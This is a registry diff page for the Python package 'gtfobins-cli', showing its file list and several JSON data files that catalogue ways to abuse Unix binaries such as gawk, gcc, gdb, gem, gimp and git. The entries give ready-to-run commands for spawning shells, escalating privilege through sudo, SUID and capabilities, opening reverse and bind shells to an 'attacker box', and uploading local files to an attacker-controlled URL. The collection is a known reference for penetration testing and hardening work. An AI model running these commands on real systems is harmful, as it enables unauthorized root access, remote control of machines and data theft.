gtfobins-cli 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (263) hide show
  1. gtfo/__init__.py +2 -0
  2. gtfo/cli.py +90 -0
  3. gtfo/data/apt-get.json +24 -0
  4. gtfo/data/apt.json +24 -0
  5. gtfo/data/ar.json +20 -0
  6. gtfo/data/aria2c.json +24 -0
  7. gtfo/data/arp.json +20 -0
  8. gtfo/data/ash.json +24 -0
  9. gtfo/data/at.json +20 -0
  10. gtfo/data/atobm.json +20 -0
  11. gtfo/data/awk.json +46 -0
  12. gtfo/data/base32.json +19 -0
  13. gtfo/data/base64.json +19 -0
  14. gtfo/data/basenc.json +19 -0
  15. gtfo/data/bash.json +69 -0
  16. gtfo/data/bpftrace.json +15 -0
  17. gtfo/data/bundler.json +29 -0
  18. gtfo/data/busctl.json +15 -0
  19. gtfo/data/busybox.json +37 -0
  20. gtfo/data/byebug.json +19 -0
  21. gtfo/data/cancel.json +10 -0
  22. gtfo/data/capsh.json +19 -0
  23. gtfo/data/cat.json +19 -0
  24. gtfo/data/certbot.json +14 -0
  25. gtfo/data/check_by_ssh.json +17 -0
  26. gtfo/data/check_cups.json +15 -0
  27. gtfo/data/check_log.json +20 -0
  28. gtfo/data/check_memory.json +15 -0
  29. gtfo/data/check_raid.json +15 -0
  30. gtfo/data/check_ssl_cert.json +17 -0
  31. gtfo/data/check_statusfile.json +15 -0
  32. gtfo/data/chmod.json +15 -0
  33. gtfo/data/chown.json +15 -0
  34. gtfo/data/chroot.json +14 -0
  35. gtfo/data/cobc.json +14 -0
  36. gtfo/data/column.json +20 -0
  37. gtfo/data/comm.json +19 -0
  38. gtfo/data/composer.json +19 -0
  39. gtfo/data/cowsay.json +15 -0
  40. gtfo/data/cowthink.json +14 -0
  41. gtfo/data/cp.json +32 -0
  42. gtfo/data/cpan.json +33 -0
  43. gtfo/data/cpio.json +48 -0
  44. gtfo/data/cpulimit.json +19 -0
  45. gtfo/data/crash.json +21 -0
  46. gtfo/data/crontab.json +16 -0
  47. gtfo/data/csh.json +24 -0
  48. gtfo/data/csplit.json +19 -0
  49. gtfo/data/csvtool.json +31 -0
  50. gtfo/data/cupsfilter.json +19 -0
  51. gtfo/data/curl.json +34 -0
  52. gtfo/data/cut.json +19 -0
  53. gtfo/data/dash.json +24 -0
  54. gtfo/data/date.json +20 -0
  55. gtfo/data/dd.json +24 -0
  56. gtfo/data/dialog.json +20 -0
  57. gtfo/data/diff.json +19 -0
  58. gtfo/data/dig.json +20 -0
  59. gtfo/data/dmesg.json +22 -0
  60. gtfo/data/dmsetup.json +14 -0
  61. gtfo/data/dnf.json +10 -0
  62. gtfo/data/docker.json +35 -0
  63. gtfo/data/dpkg.json +20 -0
  64. gtfo/data/dvips.json +20 -0
  65. gtfo/data/easy_install.json +53 -0
  66. gtfo/data/eb.json +15 -0
  67. gtfo/data/ed.json +34 -0
  68. gtfo/data/emacs.json +29 -0
  69. gtfo/data/env.json +19 -0
  70. gtfo/data/eqn.json +20 -0
  71. gtfo/data/ex.json +24 -0
  72. gtfo/data/exiftool.json +20 -0
  73. gtfo/data/expand.json +20 -0
  74. gtfo/data/expect.json +19 -0
  75. gtfo/data/facter.json +14 -0
  76. gtfo/data/file.json +26 -0
  77. gtfo/data/find.json +19 -0
  78. gtfo/data/finger.json +17 -0
  79. gtfo/data/flock.json +19 -0
  80. gtfo/data/fmt.json +27 -0
  81. gtfo/data/fold.json +19 -0
  82. gtfo/data/ftp.json +26 -0
  83. gtfo/data/gawk.json +46 -0
  84. gtfo/data/gcc.json +24 -0
  85. gtfo/data/gdb.json +66 -0
  86. gtfo/data/gem.json +28 -0
  87. gtfo/data/genisoimage.json +15 -0
  88. gtfo/data/ghc.json +14 -0
  89. gtfo/data/ghci.json +14 -0
  90. gtfo/data/gimp.json +57 -0
  91. gtfo/data/git.json +55 -0
  92. gtfo/data/grep.json +20 -0
  93. gtfo/data/gtester.json +19 -0
  94. gtfo/data/gzip.json +23 -0
  95. gtfo/data/hd.json +20 -0
  96. gtfo/data/head.json +19 -0
  97. gtfo/data/hexdump.json +20 -0
  98. gtfo/data/highlight.json +19 -0
  99. gtfo/data/hping3.json +19 -0
  100. gtfo/data/iconv.json +25 -0
  101. gtfo/data/iftop.json +20 -0
  102. gtfo/data/install.json +15 -0
  103. gtfo/data/ionice.json +19 -0
  104. gtfo/data/ip.json +28 -0
  105. gtfo/data/irb.json +47 -0
  106. gtfo/data/jjs.json +43 -0
  107. gtfo/data/join.json +19 -0
  108. gtfo/data/journalctl.json +15 -0
  109. gtfo/data/jq.json +19 -0
  110. gtfo/data/jrunscript.json +43 -0
  111. gtfo/data/ksh.json +60 -0
  112. gtfo/data/ksshell.json +20 -0
  113. gtfo/data/latex.json +29 -0
  114. gtfo/data/latexmk.json +27 -0
  115. gtfo/data/ld.so.json +20 -0
  116. gtfo/data/ldconfig.json +17 -0
  117. gtfo/data/less.json +40 -0
  118. gtfo/data/logsave.json +19 -0
  119. gtfo/data/look.json +19 -0
  120. gtfo/data/ltrace.json +26 -0
  121. gtfo/data/lua.json +58 -0
  122. gtfo/data/lualatex.json +20 -0
  123. gtfo/data/luatex.json +20 -0
  124. gtfo/data/lwp-download.json +26 -0
  125. gtfo/data/lwp-request.json +14 -0
  126. gtfo/data/mail.json +20 -0
  127. gtfo/data/make.json +26 -0
  128. gtfo/data/man.json +24 -0
  129. gtfo/data/mawk.json +34 -0
  130. gtfo/data/more.json +24 -0
  131. gtfo/data/mount.json +10 -0
  132. gtfo/data/mtr.json +15 -0
  133. gtfo/data/mv.json +15 -0
  134. gtfo/data/mysql.json +26 -0
  135. gtfo/data/nano.json +34 -0
  136. gtfo/data/nawk.json +46 -0
  137. gtfo/data/nc.json +40 -0
  138. gtfo/data/nice.json +19 -0
  139. gtfo/data/nl.json +20 -0
  140. gtfo/data/nmap.json +82 -0
  141. gtfo/data/node.json +58 -0
  142. gtfo/data/nohup.json +24 -0
  143. gtfo/data/npm.json +14 -0
  144. gtfo/data/nroff.json +20 -0
  145. gtfo/data/nsenter.json +14 -0
  146. gtfo/data/octave-cli.json +30 -0
  147. gtfo/data/od.json +20 -0
  148. gtfo/data/openssl.json +55 -0
  149. gtfo/data/openvpn.json +28 -0
  150. gtfo/data/openvt.json +10 -0
  151. gtfo/data/paste.json +19 -0
  152. gtfo/data/pdb.json +15 -0
  153. gtfo/data/pdflatex.json +29 -0
  154. gtfo/data/pdftex.json +19 -0
  155. gtfo/data/perl.json +35 -0
  156. gtfo/data/pg.json +24 -0
  157. gtfo/data/php.json +70 -0
  158. gtfo/data/pic.json +19 -0
  159. gtfo/data/pico.json +34 -0
  160. gtfo/data/pip.json +53 -0
  161. gtfo/data/pkexec.json +9 -0
  162. gtfo/data/pkg.json +10 -0
  163. gtfo/data/pr.json +20 -0
  164. gtfo/data/pry.json +19 -0
  165. gtfo/data/psql.json +15 -0
  166. gtfo/data/puppet.json +26 -0
  167. gtfo/data/python.json +62 -0
  168. gtfo/data/rake.json +19 -0
  169. gtfo/data/readelf.json +20 -0
  170. gtfo/data/red.json +20 -0
  171. gtfo/data/redcarpet.json +15 -0
  172. gtfo/data/restic.json +20 -0
  173. gtfo/data/rev.json +19 -0
  174. gtfo/data/rlogin.json +11 -0
  175. gtfo/data/rlwrap.json +25 -0
  176. gtfo/data/rpm.json +26 -0
  177. gtfo/data/rpmquery.json +19 -0
  178. gtfo/data/rsync.json +19 -0
  179. gtfo/data/ruby.json +52 -0
  180. gtfo/data/run-mailcap.json +28 -0
  181. gtfo/data/run-parts.json +19 -0
  182. gtfo/data/rview.json +100 -0
  183. gtfo/data/rvim.json +100 -0
  184. gtfo/data/sash.json +19 -0
  185. gtfo/data/scp.json +31 -0
  186. gtfo/data/screen.json +24 -0
  187. gtfo/data/script.json +20 -0
  188. gtfo/data/sed.json +41 -0
  189. gtfo/data/service.json +14 -0
  190. gtfo/data/setarch.json +19 -0
  191. gtfo/data/sftp.json +26 -0
  192. gtfo/data/sg.json +15 -0
  193. gtfo/data/shuf.json +28 -0
  194. gtfo/data/smbclient.json +27 -0
  195. gtfo/data/snap.json +10 -0
  196. gtfo/data/socat.json +46 -0
  197. gtfo/data/soelim.json +20 -0
  198. gtfo/data/sort.json +19 -0
  199. gtfo/data/split.json +31 -0
  200. gtfo/data/sqlite3.json +34 -0
  201. gtfo/data/ss.json +20 -0
  202. gtfo/data/ssh-keygen.json +22 -0
  203. gtfo/data/ssh.json +38 -0
  204. gtfo/data/ssh_keyscan.json +20 -0
  205. gtfo/data/start-stop-daemon.json +19 -0
  206. gtfo/data/stdbuf.json +19 -0
  207. gtfo/data/strace.json +25 -0
  208. gtfo/data/strings.json +20 -0
  209. gtfo/data/su.json +9 -0
  210. gtfo/data/sysctl.json +20 -0
  211. gtfo/data/systemctl.json +21 -0
  212. gtfo/data/tac.json +20 -0
  213. gtfo/data/tail.json +19 -0
  214. gtfo/data/tar.json +51 -0
  215. gtfo/data/taskset.json +19 -0
  216. gtfo/data/tbl.json +20 -0
  217. gtfo/data/tclsh.json +25 -0
  218. gtfo/data/tcpdump.json +15 -0
  219. gtfo/data/tee.json +20 -0
  220. gtfo/data/telnet.json +28 -0
  221. gtfo/data/tex.json +19 -0
  222. gtfo/data/tftp.json +28 -0
  223. gtfo/data/time.json +20 -0
  224. gtfo/data/timeout.json +19 -0
  225. gtfo/data/tmux.json +14 -0
  226. gtfo/data/top.json +16 -0
  227. gtfo/data/troff.json +20 -0
  228. gtfo/data/ul.json +20 -0
  229. gtfo/data/unexpand.json +19 -0
  230. gtfo/data/uniq.json +20 -0
  231. gtfo/data/unshare.json +19 -0
  232. gtfo/data/update-alternatives.json +16 -0
  233. gtfo/data/uuencode.json +19 -0
  234. gtfo/data/valgrind.json +14 -0
  235. gtfo/data/vi.json +28 -0
  236. gtfo/data/view.json +109 -0
  237. gtfo/data/vim.json +109 -0
  238. gtfo/data/vimdiff.json +109 -0
  239. gtfo/data/virsh.json +21 -0
  240. gtfo/data/watch.json +25 -0
  241. gtfo/data/wc.json +20 -0
  242. gtfo/data/wget.json +40 -0
  243. gtfo/data/whois.json +25 -0
  244. gtfo/data/wish.json +20 -0
  245. gtfo/data/xargs.json +35 -0
  246. gtfo/data/xelatex.json +29 -0
  247. gtfo/data/xetex.json +19 -0
  248. gtfo/data/xmodmap.json +20 -0
  249. gtfo/data/xmore.json +20 -0
  250. gtfo/data/xxd.json +24 -0
  251. gtfo/data/xz.json +19 -0
  252. gtfo/data/yelp.json +10 -0
  253. gtfo/data/yum.json +20 -0
  254. gtfo/data/zip.json +24 -0
  255. gtfo/data/zsh.json +29 -0
  256. gtfo/data/zsoelim.json +20 -0
  257. gtfo/data/zypper.json +22 -0
  258. gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
  259. gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
  260. gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
  261. gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
  262. gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
  263. gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/gawk.json ADDED
@@ -0,0 +1,46 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "gawk 'BEGIN {system(\"/bin/sh\")}'"
6
+ }
7
+ ],
8
+ "non-interactive-reverse-shell": [
9
+ {
10
+ "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
11
+ "code": "gawk 'BEGIN {\n s = \"/inet/tcp/0/[host]/[port]\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
12
+ }
13
+ ],
14
+ "non-interactive-bind-shell": [
15
+ {
16
+ "description": "Run 'nc target.com 12345' on the attacker box to connect to the shell.",
17
+ "code": "gawk 'BEGIN {\n s = \"/inet/tcp/[port]/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
18
+ }
19
+ ],
20
+ "file-write": [
21
+ {
22
+ "code": "gawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n"
23
+ }
24
+ ],
25
+ "file-read": [
26
+ {
27
+ "code": "gawk '//' [file]\n"
28
+ }
29
+ ],
30
+ "suid": [
31
+ {
32
+ "code": "./gawk '//' \"[file]\""
33
+ }
34
+ ],
35
+ "sudo": [
36
+ {
37
+ "code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'"
38
+ }
39
+ ],
40
+ "limited-suid": [
41
+ {
42
+ "code": "./gawk 'BEGIN {system(\"/bin/sh\")}'"
43
+ }
44
+ ]
45
+ }
46
+ }
gtfo/data/gcc.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "gcc -x c -E \"[file]\"\n"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "code": "gcc -xc /dev/null -o [file]\n"
11
+ }
12
+ ],
13
+ "shell": [
14
+ {
15
+ "code": "gcc -wrapper /bin/sh,-s ."
16
+ }
17
+ ],
18
+ "sudo": [
19
+ {
20
+ "code": "sudo gcc -wrapper /bin/sh,-s ."
21
+ }
22
+ ]
23
+ }
24
+ }
gtfo/data/gdb.json ADDED
@@ -0,0 +1,66 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "gdb -nx -ex '!sh' -ex quit"
6
+ }
7
+ ],
8
+ "reverse-shell": [
9
+ {
10
+ "description": "This requires that GDB is compiled with Python support. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
11
+ "code": "gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' -ex quit\n"
12
+ }
13
+ ],
14
+ "file-upload": [
15
+ {
16
+ "description": "This requires that GDB is compiled with Python support. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
17
+ "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\",).read()}).encode()))' -ex quit\n"
18
+ },
19
+ {
20
+ "description": "This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.",
21
+ "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit\n"
22
+ }
23
+ ],
24
+ "file-download": [
25
+ {
26
+ "description": "This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.",
27
+ "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\",)' -ex quit\n"
28
+ }
29
+ ],
30
+ "file-write": [
31
+ {
32
+ "description": "This requires that GDB is compiled with Python support.",
33
+ "code": "gdb -nx -ex \"dump value [file] \\\"DATA\\\"\" -ex quit\n"
34
+ }
35
+ ],
36
+ "file-read": [
37
+ {
38
+ "description": "This requires that GDB is compiled with Python support.",
39
+ "code": "gdb -nx -ex 'python print(open(\"[file]\").read())' -ex quit"
40
+ }
41
+ ],
42
+ "library-load": [
43
+ {
44
+ "description": "This requires that GDB is compiled with Python support.",
45
+ "code": "gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' -ex quit"
46
+ }
47
+ ],
48
+ "suid": [
49
+ {
50
+ "description": "This requires that GDB is compiled with Python support.",
51
+ "code": "./gdb -nx -ex 'python import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")' -ex quit"
52
+ }
53
+ ],
54
+ "sudo": [
55
+ {
56
+ "code": "sudo gdb -nx -ex '!sh' -ex quit"
57
+ }
58
+ ],
59
+ "capabilities": [
60
+ {
61
+ "description": "This requires that GDB is compiled with Python support.",
62
+ "code": "./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit"
63
+ }
64
+ ]
65
+ }
66
+ }
gtfo/data/gem.json ADDED
@@ -0,0 +1,28 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
6
+ "code": "gem open -e \"/bin/sh -c /bin/sh\" rdoc"
7
+ },
8
+ {
9
+ "description": "This invokes the default editor, which is likely to be 'vi', other functions may apply. This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
10
+ "code": "gem open rdoc\n:!/bin/sh\n"
11
+ },
12
+ {
13
+ "description": "This executes the specified file as 'ruby' code.",
14
+ "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem build $TF/x\n"
15
+ },
16
+ {
17
+ "description": "This executes the specified file as 'ruby' code.",
18
+ "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem install --file $TF/x\n"
19
+ }
20
+ ],
21
+ "sudo": [
22
+ {
23
+ "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
24
+ "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc"
25
+ }
26
+ ]
27
+ }
28
+ }
@@ -0,0 +1,15 @@
1
+ {
2
+ "description": "The output is placed inside the ISO9660 file system binary format thus it may not be suitable for binary content as is, yet it can be mounted or extracted with tools like '7z'.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "genisoimage -q -o - \"[file]\"\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "sudo genisoimage -q -o - \"[file]\"\n"
12
+ }
13
+ ]
14
+ }
15
+ }
gtfo/data/ghc.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "ghc -e 'System.Process.callCommand \"/bin/sh\"'"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'"
11
+ }
12
+ ]
13
+ }
14
+ }
gtfo/data/ghci.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
11
+ }
12
+ ]
13
+ }
14
+ }
gtfo/data/gimp.json ADDED
@@ -0,0 +1,57 @@
1
+ {
2
+ "description": "The binary hangs after executing the Python code and can be terminated pressing 'ctrl-c'.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'"
7
+ }
8
+ ],
9
+ "reverse-shell": [
10
+ {
11
+ "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
12
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\", [port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n"
13
+ }
14
+ ],
15
+ "file-upload": [
16
+ {
17
+ "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
18
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))'\n"
19
+ },
20
+ {
21
+ "description": "Serve files in the local folder running an HTTP server.",
22
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()'\n"
23
+ }
24
+ ],
25
+ "file-download": [
26
+ {
27
+ "description": "Fetch a remote file via HTTP GET request.",
28
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")'\n"
29
+ }
30
+ ],
31
+ "file-write": [
32
+ {
33
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'open(\"[file]\", \"wb\").write(\"DATA\")'\n"
34
+ }
35
+ ],
36
+ "file-read": [
37
+ {
38
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'print(open(\"[file]\").read())'"
39
+ }
40
+ ],
41
+ "library-load": [
42
+ {
43
+ "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'"
44
+ }
45
+ ],
46
+ "suid": [
47
+ {
48
+ "code": "./gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'"
49
+ }
50
+ ],
51
+ "sudo": [
52
+ {
53
+ "code": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'"
54
+ }
55
+ ]
56
+ }
57
+ }
gtfo/data/git.json ADDED
@@ -0,0 +1,55 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "PAGER='sh -c \"exec sh 0<&1\"' git -p help"
6
+ },
7
+ {
8
+ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
9
+ "code": "git help config\n!/bin/sh\n"
10
+ },
11
+ {
12
+ "description": "The help system can also be reached from any 'git' command, e.g., 'git branch'. This invokes the default pager, which is likely to be 'less', other functions may apply.",
13
+ "code": "git branch --help config\n!/bin/sh\n"
14
+ },
15
+ {
16
+ "description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.",
17
+ "code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\ngit -C \"$TF\" commit --allow-empty -m x\n"
18
+ },
19
+ {
20
+ "code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\ngit \"--exec-path=$TF\" x\n"
21
+ }
22
+ ],
23
+ "file-read": [
24
+ {
25
+ "description": "The read file content is displayed in 'diff' style output format.",
26
+ "code": "git diff /dev/null [file]\n"
27
+ }
28
+ ],
29
+ "sudo": [
30
+ {
31
+ "code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help"
32
+ },
33
+ {
34
+ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
35
+ "code": "sudo git -p help config\n!/bin/sh\n"
36
+ },
37
+ {
38
+ "description": "The help system can also be reached from any 'git' command, e.g., 'git branch'. This invokes the default pager, which is likely to be 'less', other functions may apply.",
39
+ "code": "sudo git branch --help config\n!/bin/sh\n"
40
+ },
41
+ {
42
+ "description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.",
43
+ "code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n"
44
+ },
45
+ {
46
+ "code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n"
47
+ }
48
+ ],
49
+ "limited-suid": [
50
+ {
51
+ "code": "PAGER='sh -c \"exec sh 0<&1\"' ./git -p help"
52
+ }
53
+ ]
54
+ }
55
+ }
gtfo/data/grep.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "There are many 'grep' flavors that in many cases are just copies, symlinks or wrappers around the original binary that may share the same behavior, for example: 'egrep', 'fgrep', 'zgrep', etc.\n",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "grep '' [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./grep '' [file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo grep '' [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/gtester.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh -p 0<&1' >> $TF\nchmod +x $TF\ngtester -q $TF\n"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n"
11
+ }
12
+ ],
13
+ "suid": [
14
+ {
15
+ "code": "TF=$(mktemp)\necho '#!/bin/sh -p' > $TF\necho 'exec /bin/sh -p 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/gzip.json ADDED
@@ -0,0 +1,23 @@
1
+ {
2
+ "description": "There are also a number of other utilities that rely on 'gzip' under the hood, e.g., 'zless', 'zcat', 'gunzip', etc. Besides having similar features, they also allow privileged reads if 'gzip' itself is SUID.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "gzip -f [file] -t\n"
7
+ },
8
+ {
9
+ "code": "gzip -c [file] | gzip -d\n"
10
+ }
11
+ ],
12
+ "suid": [
13
+ {
14
+ "code": "./gzip -f [file] -t\n"
15
+ }
16
+ ],
17
+ "sudo": [
18
+ {
19
+ "code": "sudo gzip -f [file] -t\n"
20
+ }
21
+ ]
22
+ }
23
+ }
gtfo/data/hd.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The output is a hex dump.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "hd \"[file]\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./hd \"[file]\"\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo hd \"[file]\"\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/head.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "head -c1G [file]\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./head -c1G [file]\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo head -c1G [file]\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/hexdump.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The output is a hex dump.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "hexdump -C \"[file]\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./hexdump -C \"[file]\"\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo hexdump -C \"[file]\"\n"
17
+ }
18
+ ]
19
+ }
20
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "highlight --no-doc --failsafe \"[file]\"\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./highlight --no-doc --failsafe \"[file]\"\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo highlight --no-doc --failsafe \"[file]\"\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/hping3.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "hping3\n/bin/sh\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./hping3\n/bin/sh -p\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo hping3\n/bin/sh\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/iconv.json ADDED
@@ -0,0 +1,25 @@
1
+ {
2
+ "description": "The '8859_1' encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result.",
3
+ "functions": {
4
+ "file-write": [
5
+ {
6
+ "code": "echo \"DATA\" | iconv -f 8859_1 -t 8859_1 -o \"[file]\"\n"
7
+ }
8
+ ],
9
+ "file-read": [
10
+ {
11
+ "code": "iconv -f 8859_1 -t 8859_1 \"[file]\"\n"
12
+ }
13
+ ],
14
+ "suid": [
15
+ {
16
+ "code": "./iconv -f 8859_1 -t 8859_1 \"[file]\"\n"
17
+ }
18
+ ],
19
+ "sudo": [
20
+ {
21
+ "code": "./iconv -f 8859_1 -t 8859_1 \"[file]\"\n"
22
+ }
23
+ ]
24
+ }
25
+ }
gtfo/data/iftop.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
